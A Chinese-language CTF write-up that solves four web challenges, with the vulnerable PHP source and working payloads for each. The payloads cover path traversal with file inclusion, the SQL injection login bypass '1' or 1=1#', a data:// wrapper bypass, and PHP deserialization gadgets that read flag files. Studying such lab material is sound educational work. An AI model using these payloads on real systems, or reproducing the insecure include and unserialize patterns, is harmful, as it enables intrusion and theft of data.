[HCTF 2018]WarmUp
1、查看隐藏页面
F12打开可以看到source.php页面,打开可以看到php代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49
| <?php highlight_file(__FILE__); class emm { public static function checkFile(&$page) { $whitelist = ["source"=>"source.php","hint"=>"hint.php"]; if (! isset($page) || !is_string($page)) { echo "you can't see it"; return false; } if (in_array($page, $whitelist)) { return true; } $_page = mb_substr( $page, 0, mb_strpos($page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; } $_page = urldecode($page); $_page = mb_substr( $_page, 0, mb_strpos($_page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; } echo "you can't see it"; return false; } } if (! empty($_REQUEST['file']) && is_string($_REQUEST['file']) && emmm::checkFile($_REQUEST['file']) ) { include $_REQUEST['file']; exit; } else { echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />"; } ?>
|
2、审计代码
执行主体
1 2 3 4 5 6 7
| if(!empty($_REQUEST['file']) && is_string($_REQUEST['file']) && emmm::checkFile($_REQUEST['file'])) { include $_REQUEST['file']; exit; }
|
checkFile函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| $whitelist = ["source"=>"source.php","hint"=>"hint.php"]; if (! isset($page) || !is_string($page)) { echo "you can't see it"; return false; } if (in_array($page, $whitelist)) { return true; } $_page = mb_substr( //该代码表示截取$page中'?'前部分,若无则截取整个$page $page, 0, mb_strpos($page . '?', '?') //mb_strpos()为查找某个字符串第一次出现的位置 ); if (in_array($_page, $whitelist)) { return true; } $_page = urldecode($page); $_page = mb_substr( $_page, 0, mb_strpos($_page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; } echo "you can't see it"; return false;
|
3、得到payload
从前面的链接,我们可以执行伪协议进行读取
source.php?file=source.php%253f../../../../../ffffllllaaaagggg
[极客大挑战 2019]EasySQL
根据题目得是sql注入,尝试万能密码1' or 1=1#
可得flag
原理
在sql查询语句中,原句为
1
| select * from table_name where username='xxxx' and password='xxxxxx';
|
如果我们传入的 username 为 1’ or 1=1 #,随意输入 password,那么传入后端验证时,sql语句就是
1
| select * from table_name where username='1' or 1=1 # ' and password='xxxxxx';
|
因为sql语句中 # 为注释符,也就是
1
| select * from table_name where username='1' or 1=1
|
构成恒等式,直接绕过
[极客大挑战 2019]PHP
反序列化,绕过__wakeup()
1 2 3 4 5 6 7 8
| <?php class Name{ private $username = 'admin'; private $password = 100; } $a=new Name(); var_dump(serialize($a)); ?>
|
申明private变量要记得在类名前后加%00
[ZJCTF 2019]NiZhuanSiWei
源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| <?php $text = $_GET["text"]; $file = $_GET["file"]; $password = $_GET["password"]; if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){ echo "<br><h1>".file_get_contents($text,'r')."</h1></br>"; if(preg_match("/flag/",$file)){ echo "Not now!"; exit(); }else{ include($file); $password = unserialize($password); echo $password; } } else{ highlight_file(__FILE__); } ?>
|
第一层绕过
第一层text参数需要绕过file_get_contents(),有两种方法:
- 使用php://input伪协议绕过
将要GET的参数?xxx=php://input
用post方法传入想要file_get_contents()函数返回的值
- 用data://伪协议绕过
将url改为:?xxx=data://text/plain;base64,想要file_get_contents()函数返回的值的base64编码
或者将url改为:?xxx=data:text/plain,(url编码的内容)
我采用了第二种方法,并且用base64绕过
1
| text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
|
第二层绕过
第二层的意思是file参数中不能有flag字样,否则会报错,那么只能用password进行输出。结合题目和unserialize()可得,需要用到反序列化的魔术方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <?php class Flag{ public $file="flag.php"; public function __tostring(){ if(isset($this->file)){ echo file_get_contents($this->file); echo "<br>"; return ("U R SO CLOSE !///COME ON PLZ"); } } } $a=new Flag(); var_dump(serialize($a)); ?>
|
定义一个类并新建的时候,当被当作字符串输出的时候,会触发__tostring方法,从而顺利地将flag.php中的字符串读出来